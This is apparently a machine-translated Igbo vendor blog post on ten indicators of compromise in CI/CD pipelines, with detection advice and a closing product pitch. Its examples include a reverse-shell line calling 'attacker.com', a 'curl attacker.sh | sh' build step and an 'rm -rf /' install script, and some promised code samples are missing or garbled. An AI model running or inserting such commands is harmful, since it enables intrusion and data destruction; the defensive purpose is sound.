Ihe ngosi iri kachasị elu nke nkwekọrịta na CI/CD Pipelines

Okwu Mmalite: Kedu ihe na-egosi nkwekọrịta na nchekwa ịntanetị?

Ihe ngosi nke nkwekọrịta bụ ihe ịrịba ama mbụ nke na-egosi na sistemụ gị ma ọ bụ pipeline nwere ike ịnọ n'okpuru mwakpo. N'okwu dị mfe, egosi nkwenye bụ ihe ndị mwakpo hapụrụ, dị ka ihe dị iche logins, mgbanwe faịlụ, ma ọ bụ malware zoro ezo. Na Nchebe ịntanetị nke IOC, ha na-eme dị ka mkpịsị aka n'ebe mpụ na-eme, na-enye gị ihe akaebe doro anya na ihe adịghị mma. Ya mere, mgbe ndị mmepe jụrụ Kedu ihe ndị na-egosi nkwekọrịta, azịza ya abụghị naanị sava ma ọ bụ firewalls, ọ gụnyekwara ihe egwu ndị zoro ezo n'oge a CI/CD pipelines.

Na ndị a pipelines, ndị na-awakpo nwere ike imebi koodu ahụ, tinye ihe ndị na-adịghị mma, ma ọ bụ gbanwee usoro nrụpụta n'enweghị onye ga-ahụ ya. Agbanyeghị, ọtụtụ ntuziaka ka na-elekwasị anya naanị na sava ma ọ bụ netwọk. N'ihi ya, usoro ọkọnọ ngwanrọ aghọọla otu n'ime ihe mgbaru ọsọ kachasị mfe.

Ọ bụ ya mere ịchọta ihe ngosi nke nkwekọrịta na CI/CD pipelines dị oke mkpa. Karịsịa, ọ na-enyere ndị otu aka igbochi malware, chebe ihe nzuzo, ma chekwaa usoro ọ bụla nke nnyefe ngwanrọ.

Ihe ngosi iri kachasị elu nke nkwekọrịta na CI/CD Pipelines

Mgbe a na-akọwa ihe ngosi nke nkwekọrịta, ọtụtụ ndepụta na-elekwasị anya na sava ma ọ bụ netwọk. CI/CD pipelineNdị na-awakpo na-ahapụ mkpịsị aka dị iche iche. Ịmata akara ndị a dị oke mkpa maka nchekwa ngwa ngwa. N'okpuru ebe a bụ akara ngosi iri na-acha uhie uhie nke IOC onye ọ bụla na-emepụta ihe na injinia nchekwa kwesịrị ileba anya maka ya.

1. Mgbanwe Ndị A Na-enyo Aenyo

Otu n'ime ihe ndị bụ isi na-egosi nkwekọrịta na pipelines bụ mmelite ndabere mberede, nke dị iche. Ndị na-awakpo na-ejikarị ebe ndị mmepe ntụkwasị obi dị na ndị njikwa ngwugwu tinye ngwugwu dị ize ndụ.

Dịka ọmụmaatụ, na npm a package.json diff nwere ike ịgụnye na mberede:

Mgbanwe ndị dị otú ahụ nwere ike iyi ihe dị nchebe mana ha nwere ike itinye koodu trojanized n'ime ihe owuwu ọ bụla.

Mmetụta: ihe owuwu ndị e mebiri emebi ketara malware na isi mmalite.

Nchọpụta: manye nyocha ịdabere, soro mgbanwe faịlụ mkpọchi, ma lelee ngwugwu ọhụrụ oge niile.

2. Koodu Ezochiri Emechi n'ime Ụlọ 

Ndị dere malware na-adabere na nzuzo iji zere nyocha. N'ihi ya, ihe ngosi a nke nkwekọrịta na CI/CD pipelines nwere ike ịbụ otu n'ime ihe kacha sie ike ijide. N'ezie, ibu ndị a na-ekpuchi ekpuchi na-abanyekarị n'ọbá akwụkwọ mepere emepe ma ọ bụ onyonyo akpa na-enweghị ọkwa.

Ọmụmaatụ:

  • Ngwugwu PyPI na-eji base64.b64decode("cHJpbnQoSGFja2VkKQ==").
  • Foto Docker juputara na ihe abụọ UPX na-adịghị mkpa.
  • Javascript juputara na \x41\x42 gbapụrụ ezo ndị ohi akwụkwọ ikike.

Mmetụta: Koodu zoro ezo na-arụ ọrụ n'enweghị nsogbu n'oge nrụpụta ma ọ bụ oge ọrụ, nke a na-eme ka nke a bụrụ ihe mgbaàmà dị mkpa na nchekwa ịntanetị IOC.
Nchọpụta: Ikpokọta SAST site na nyocha malware iji gosipụta koodu e tinyere koodu n'ime koodu ma ọ bụ nke e tinyere n'ime ngwugwu. Karịsịa, were ihe na-eme ka ihe ghara ịdị mma dị ka ihe na-egosi na ọ dị mkpa inyocha ya nke ọma.

3. Ihe Nzuzo E Kpughere na Git: Ihe Ize Ndụ Nchekwa Saịbaịtị nke IOC Klasik

CI/CD pipelines na-eketakarị ihe nzuzo ozugbo site na ebe nchekwa ihe. Agbanyeghị, mgbe ihe nzuzo pụtara na Githa na-aghọ otu n'ime azịza kacha doo anya nye ajụjụ "kedu ihe na-egosi nkwekọrịta na pipelines?” Ozugbo asambodo rutere na Git, ndị na-awakpo nwere ike iji ha mee ihe ruo mgbe ebighị ebi.

Ọmụmaatụ:

  • A .env faịlụ nwere AWS_SECRET_KEY=.
  • A gbanyere akara ngosi config.json.
  • Ihe nzuzo ka na-apụta ìhè n'akụkọ ihe mere eme Git ọbụlagodi mgbe ewepụchara ya.

Mmetụta: Igodo ndị a kpughepụrụ ekpughe na-enye ndị mwakpo ohere ozugbo ịnweta ya CI/CD pipelines, sistemụ igwe ojii, ma ọ bụ nchekwa data. Ya mere, nke a bụ otu n'ime ihe ngosi kachasị dị ize ndụ nke nkwekọrịta.
Nchọpụta: Iji pre-commit hooks na ọrụ CI maka nyocha nzuzo, ma kagbuo igodo ndị gbapụrụ agbapụ ozugbo. Na mgbakwunye, mee ka mmezi akpaaka belata windo ndị na-ekpughe ihe.

4. Emebiala ihe Pipeline Nhazi: Ihe Ndị Zoro Ezo nke Nkwekọrịta

Pipeline nhazi bụ ihe mgbaru ọsọ dị elu n'ihi na otu mgbanwe na-ejikarị usoro ọrụ dum eme iheN'ihi ya, e megharịrị ya pipeline faịlụ bụ nnukwu ihe egwu nchekwa ịntanetị nke IOC nke ngwaọrụ nlekota ọdịnala anaghị achọpụta.

Ọmụmaatụ:

  • Na ihe omume GitHub:

  • Na GitLab: ọrụ ọjọọ agbakwunyere na .gitlab-ci.yml nke na-ewepụ data dị mkpa.
  • Na Jenkins: sh "nc -e /bin/bash attacker.com 4444".

Mmetụta: Mgbanwe ndị a na-akwadoghị na-eme ka ị gbanwee pipeline n'ime ụzọ azụ na-adịgide adịgide maka ndị na-awakpo, nke doro anya dị ka ihe na-egosi nkwekọrịta.
Nchọpụta: Mee ka nhazi ndị a bịanyere aka na ha dị irè, chọọ nkwenye PR, ma nyochaa maka ọrụ ndị a na-atụghị anya ha. Na mgbakwunye, setịpụ guardrails nke na-egbochi usoro ọrụ agbanwere na akpaghị aka.

5. Ihe ùgwù IaC Mmejọ 

Nkọwa akụrụngwa e guzobere nke ọma na-emekarị ka e zoo ụzọ azụ. N'ihi ya, ihe ndabara na-apụta na IaC bụ ihe egwu nchekwa cyber nke IOC.

Ọmụmaatụ:

  • Usoro ntinye Kubernetes na-enye ohere privileged: true.
  • Chaatị okpu agha na-ekpughe ọrụ na 0.0.0.0:22.

Mmetụta: Ndị na-awakpo na-enweta ohere ịnweta mgbọrọgwụ ma ọ bụ na-ekpughe ọrụ dị n'ime n'ihu ọha. N'ihi ya, nsogbu ndị a na-agbasa elu mwakpo ahụ nke ukwuu.
Nchọpụta: Tee IaC nyocha iji manye ikike kacha nta tupu njikọta. Na mgbakwunye, hụ na enyochala nhazi ọ bụla dịka akụkụ nke pipeline.

6. Àgwà Mmepụta Ihe Na-adịghị Agbanwe Agbanwe 

Ndị na-awakpo na-agbanwekarị mgbe niile pipeline omume ịdaba n'omume ọjọọ. N'ikwu ya n'ụzọ ọzọ, ihe omume owuwu pụrụ iche bụ otu n'ime azịza doro anya maka ihe ndị na-egosi nkwekọrịta na CI/CD pipelines.

Ọmụmaatụ:

  • Ọ na-ewulite arịrịọ netwọk na-apụ apụ gaa na ngalaba ndị dị iche iche.
  • Ọrụ Node.js na-emepụta PowerShell na mberede n'oge npm install.
  • Ọrụ CI na-ebudata nnukwu ọnụọgụ abụọ nke a na-akọwaghị na edemede nrụpụta.

Mmetụta: Ihe owuwu ndị mebiri emebi nwere ike ịrụ ọrụ dị ka ebe nkesa malware. Karịsịa, ha na-agbasa ibu ọrụ ọjọọ n'ofe ebe ọ bụla a na-etinye ha.
Nchọpụta: Na-enyocha ndekọ ihe owuwu maka usoro ma ọ bụ njikọ ndị a na-atụghị anya ya. Ọzọkwa, hazie nchọpụta ihe na-adịghị mma ka o gosipụta omume ndị na-abụghị nke nkịtị.

7. Scripts Ngwugwu Ọjọọ dị ka Ihe Ize Ndụ Nchekwa Saịbaịtị nke IOC

Ndị njikwa ngwugwu na-akwado usoro ndụ hooks ndị mwakpo na-eji eme ihe. Ya mere, edemede ọjọọ dị na npm, PyPI, ma ọ bụ Dockerfiles bụ ihe ngosi siri ike nke nkwekọrịta.

Ọmụmaatụ:

  • npm: postinstall edemede na-agba ọsọ rm -rf / ma ọ bụ na-egosi C2.
  • PyPI: setup.py ịme koodu Python zoro ezo mgbe ị wụnye ya.
  • Faịlụ Docker: RUN curl attacker.sh | sh.

Mmetụta: Mwakpo a na-eme n'oge nrụnye, tupu nnwale oge ọ bụla. N'ihi ya, ndị mmepe nwere ike ọ gaghị ama ruo mgbe oge gafere.
Nchọpụta: Nyochaa ngwugwu na-egosi maka edemede nrụnye. Na mgbakwunye, machibido ihe egwu dị na ya hooks in CI/CD ọrụ iji belata mkpughe.

8. Ihe ngosi nke nsi ndekọ nke nkwekọrịta

Ndị na-awakpo na-anọchi ma ọ bụ gbanwee ihe ochie dị na ndekọ, ihe omume ndị a bụkwa ihe atụ akwụkwọ ọgụgụ nke ihe na-egosi nkwekọrịta na usoro ọkọnọ pipelines.

Ọmụmaatụ:

  • Ejiri akwa trojan emelite akara ngosi onyonyo Docker n'ime obi.
  • Ejiri ụdị nsí dochie ngwugwu dị n'ime ya.
  • npm namespace squatting, dịka ọmụmaatụ lodash-proxy.

Mmetụta: Ihe owuwu ọ bụla ejiri ihe ochie ndekọ ahụ rụọ na-aghọ ihe mebiri emebi. Ọ bụghị naanị nke ahụ, nkwekọrịta ahụ gbasaara ruo na ọrụ ndị dị n'okpuru ala.
Nchọpụta: Mee ka ndị niile na-enyocha mbinye aka na iguzosi ike n'ezi ihe dị na ndekọ ahụ. Na mgbakwunye, soro ebe ihe ochie si malite SBOM nkwado.

9. Ọrụ Onye Ọrụ Na-adịghị Mma dị ka Ihe Akaebe IOC

Ihe fọrọ nke nta ka ọ bụrụ na akụkọ ndị mebiri emebi na-ahapụ ihe ndị na-adịghị mma mgbe niile. N'ihi ya, omume onye mmepụta ihe na-adịghị ahụkebe bụ ihe na-egosi nkwenye siri ike.

Ọmụmaatụ:

  • Commits kpụpụrụ n'elekere atọ nke ụtụtụ n'oge mpaghara.
  • Nkwado PR site na akaụntụ ezumike.
  • Pipelines na-akpalite ugboro ugboro pụrụ iche.

Mmetụta: Ndị mwakpo na-eji akwụkwọ ikike e zuru eme ihe iji tinye mgbanwe ọjọọ. E kwuwerị, enweghị ikike. commits na-agwakọta ngwa ngwa n'ime usoro ọrụ nkịtị.
Nchọpụta: Nyochaa SCM ihe omume maka ihe ndị na-adịghị mma, manye MFA, ma na-atụgharị akara ngosi mgbe niile. Na mgbakwunye, na-adọ aka ná ntị maka ihe a na-enyo enyo commit ma ọ bụ ụkpụrụ nkwado.

10. Nlele Iguzosi Ike n'Ezi Ihe ma ọ bụ Mbinye Aka Daara Ada na Nchekwa Saịba IOC

Ihe a na-ahụkarị mana eleghara anya egosi nkwenye bụ nyocha iguzosi ike n'ezi ihe ma ọ bụ mbinye aka dara ada. Na nchekwa ịntanetị IOC, nyocha ndị a na-egosi na koodu ma ọ bụ ihe ochie bụ ezigbo ya. Ịhapụ ha akwụkwọ pipelines kpughere.

Ihe atụ:

  • Hash SHA256 adabaghị na checksum a tụrụ anya ya.
  • Mbinye aka GPG na-efu ma ọ bụ na-adịghị mma.
  • An SBOM na-egosi ihe ndị e ji aka dee na-enweghị akara.

Mmetụta: Ọdịda iguzosi ike n'ezi ihe na-apụtakarị imebi ihe, nsị ndekọ, ma ọ bụ itinye malware.

Nchọpụta: Mee ka nlele mbinye aka rụọ ọrụ na akpaghị aka, mee ka nkwenye checksum dị mma, ma gbochie ihe ndị na-abụghị nke a bịanyere aka na ha. Karịsịa, were nlele ọ bụla dara ada dị ka ihe akaebe doro anya nke nkwekọrịta.

CI/CD Ihe Ndị Na-egosi Nkwekọrịta N'otu Anya

Ihe Na-egosi Nkwekọrịta (IOC) Mmetụta na CI/CD Pipelines Otu esi achọpụta
Mgbanwe Ndabere A Na-enyo Aenyo Ndị na-awakpo na-etinye ọbá akwụkwọ ọjọọ n'ime ndị njikwa ngwugwu, na-eduga na mmebi iwu. Soro ọdịiche dị n'etiti faịlụ mkpọchi, manye nyocha ịdabere, ma nyochaa ndabere mgbe niile.
Koodu Ezochiri Emechi n'ime Ụlọ A na-arụ ọrụ ndị zoro ezo n'oge nrụpụta ma ọ bụ oge ọrụ na-enweghị nchọpụta. Iji SAST na nyocha malware iji gosi ụkpụrụ koodu base64, hex, ma ọ bụ nke ejiri koodu jupụta.
Ihe Nzuzo E Kpughere na Git Ihe nrịbama ndị a gbapụrụ agbapụ ma ọ bụ igodo API na-enye ndị mwakpo ohere ozugbo ịnweta sistemụ dị mkpa. Gbaa nyocha nzuzo na Git hooks ma kagbuo asambodo ndị a gbapụrụ agbapụ na akpaghị aka.
Emebiwo Pipeline Nhazi Usoro ọrụ emezigharịrị na-enye ohere iwepụ ma ọ bụ ịnọgidesi ike na data CI/CD. Chọrọ nkwenye PR, manye nhazi ndị edebanyere aha, ma nyochaa pipeline mgbanwe.
Ihe ùgwù IaC Mmejọ Ọrụ ndị na-anaghị anabata ihe nke ukwuu ma ọ bụ ihe ndị na-adịghị mma na-ekpughe gburugburu igwe ojii. Nyochaa faịlụ Terraform, Kubernetes, na Helm maka mmanye kachasị nta.
Àgwà Mmepụta Ihe Na-adịghị Agbanwe Agbanwe Pipelineeji ya dị ka ebe nkesa malware ma ọ bụ maka mmegharị n'akụkụ. Nyochaa ndekọ nrụpụta maka nbudata, usoro, ma ọ bụ oku mpụga a na-atụghị anya ya.
Ederede Ngwugwu Ọjọọ Ederede zoro ezo tupu/mgbe nrụnye na-akpalite ibu ọrụ tupu nnwale oge ọsọ. Gbochie edemede npm/PyPI dị ize ndụ ma machibido mmezu na CI/CD ọrụ.
Nsi Ndebanye Aha Ihe ochie ndị e ji Trojan mee na-anọchi anya onyonyo ma ọ bụ ọnụọgụ abụọ a tụkwasịrị obi na ndekọ. Nyochaa checksums, manye nkwenye mbinye aka, ma nyochaa ndị na-edebanye aha nke ọma.
Ọrụ Onye Ọrụ Na-adịghị Mma Akaụntụ ndị mebiri emebi na-akpali obi ọjọọ commits ma ọ bụ ihe mkpali pipelines. Mee ka MFA rụọ ọrụ, nyochaa commits maka ihe ndị na-adịghị mma, na nyocha login ihe nakawa.
Nlele Iguzosi Ike n'Ezi Ihe ma ọ bụ Mbinye Aka Daara Ada Na-egosi koodu, ihe ndị dabere na ya, ma ọ bụ onyonyo ndị e tinyere na ya pipeline. Na-enyocha iguzosi ike n'ezi ihe na akpaghị aka ma gbochie akụkụ ndị na-abụghị nke a bịanyere aka na ha ma ọ bụ ndị na-adabaghị na ha.

Ihe Mere Nchekwa Saịberịa Omenala nke IOC Ji Aghara CI/CD Ize

Ọtụtụ òtù na-enyocha ihe ngosi nke nkwekọrịta na sava, kọmputa, ma ọ bụ netwọk. Agbanyeghị, ụzọ a na-ahụkarị maka nchekwa ịntanetị IOC anaghị eleghara anya. CI/CD pipelines, nke bụ otu n'ime ihe ndị kacha dị mkpa n'elu mwakpo. N'ezie, pipelines na-egosi ihe ịrịba ama pụrụ iche nke ngwaọrụ ọdịnala enweghị ike ịchọpụta.

Ihe Ndị Na-egosi Nkwekọrịta n'Omenala Nchekwa Omenala

Na nchekwa cybersecurity nke IOC nkịtị, a na-elekwasị anya na:

  • Pụrụ iche loginadreesị IP ma ọ bụ adreesị s nke na-egosi nzere ezuru.
  • Hashes faịlụ ma ọ bụ mgbanwe ndekọ na-egosi malware.
  • Okporo ụzọ a na-atụghị anya ya nke na-egosi mwepụ data.

Ndị a bụ ihe ngosi a ma ama nke a na-esokwa na MITER ATT&CK ụkpụrụ, nke na-egosi omume na atụmatụ ndị mmegide a na-ahụkarị. Ndị a bụ ihe mgbaàmà bara uru. Agbanyeghị, ha na-emetụta sistemụ arụmọrụ ma ọ bụ netwọk ụlọ ọrụ. N'ihi ya, ha na-echefu mmejọ dị nro nke na-eme na mbụ na usoro ọkọnọ ngwanrọ.

Gịnị mere CI/CD Pipelines Dị Iche

CI/CD pipelines bụ gburugburu akpaaka ebe ndị mmepe commit koodu, ihe ndị a na-eji adọta ihe, na ihe ndị na-ewulite ntọhapụ. Ndị na-awakpo maara na nkwekọrịta ebe a na-agbakọta n'ofe usoro ọ bụla. Ya mere, gịnị bụ ihe na-egosi nkwekọrịta na CI/CD pipelineHa dị nnọọ iche:

  • A na-agbakwunye ntụkwasị obi ọjọọ na ngwugwu.json ma ọ bụ requirements.txt n'olu dị ala.
  • Igodo ma ọ bụ ihe ngosi API ekpughere na Git commitfaịlụ s ma ọ bụ .env.
  • Koodu e tinyere n'ime ngwugwu npm ma ọ bụ PyPI.
  • Faịlụ Terraform ma ọ bụ Kubernetes nwere ndabara nchekwa dịka private: true.
  • Pipeline ọrụ edeziri iji wepụ data ma ọ bụ mepee ụzọ azụ.

Ihe mgbaàmà nkwekọrịta ndị a na-egosi na CI/CD ịnọgide na-adịghị ahụ anya standard ngwaọrụ nchekwa.

Oghere dị na nchekwa cyber nke IOC

Ọ bụ ezie na ọtụtụ ndị otu ghọtara uru nke ihe ngosi nke nkwekọrịta, ha ka na-adabere naanị na nchọpụta sitere na sava na ndekọ netwọk. Ya mere, ndị na-awakpo nwere ike imebi ihe owuwu ma ọ bụ tinye malware n'emeghị ka ọ hapụ ihe ndị a na-ahụkarị. Ọ bụ ya mere ihe omume dịka XZ Utils backdoor ma ọ bụ ngwugwu npm ọjọọ anaghị achọpụta ruo mgbe ha ruru mmepụta.

Ụdị nkwekọrịta a na usoro ọkọnọ ọkọnọ na-egosipụtakwa site na CISNtuziaka nchekwa nke usoro ọkọnọ A, nke na-adọ aka ná ntị na ndị mwakpo na-achọkarị ụzọ isi CI/CD pipelines na ndekọ.

Efu

Ọ dị mkpa ka IOC rụọ ọrụ nchekwa ịntanetị ọdịnala mana ezughị oke. Karịsịa, ndị otu ga-amata ihe ngosi nke nkwekọrịta kpọmkwem maka CI/CD pipelines. Naanị mgbe ahụ ka ha ga-enwe ike ịchọpụta koodu ọjọọ ma ọ bụ pipeline mmegbu tupu ọ gbasaa gburugburu ebe obibi.

ngwaọrụ nyocha sca-ngwaọrụ-ngwanrọ-nchịkọta-ngwaọrụ nyocha
Mee ka ihe egwu dị na ngwanrọ gị buo ibu, dozie ya, ma chekwaa ya
Nweta Akaụntụ N'efu gị.
Enweghị kaadị akwụmụgwọ achọrọ.

Chekwaa mmepe na nnyefe ngwanrọ gị

ya na Xygeni Product Suite